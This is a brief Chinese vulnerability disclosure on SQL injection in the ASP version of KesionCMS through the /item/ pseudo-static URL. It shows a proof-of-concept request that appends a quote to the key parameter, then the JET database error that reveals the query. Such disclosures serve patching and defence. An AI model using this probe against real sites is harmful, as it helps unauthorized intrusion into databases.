###0x01漏洞简介
KesionCMS ASP版在/item/?c-5,key-1.html存在伪静态注入漏洞。
###0x02漏洞详情
很明显的一处注入;但是好像需要闭合,先提交了证明下注入
```
http://**.**.**.**/item/?c-5,key-1%27.html
```
```
Microsoft JET Database Engine 错误 '80040e14'
语法错误 在查询表达式 'Verific=1 and deltf=0 And (Title Like '%1'%') Order by ID Desc' 中。
/item/Index.asp,行 618
```

###0x03修复方案
过滤。
暂无评论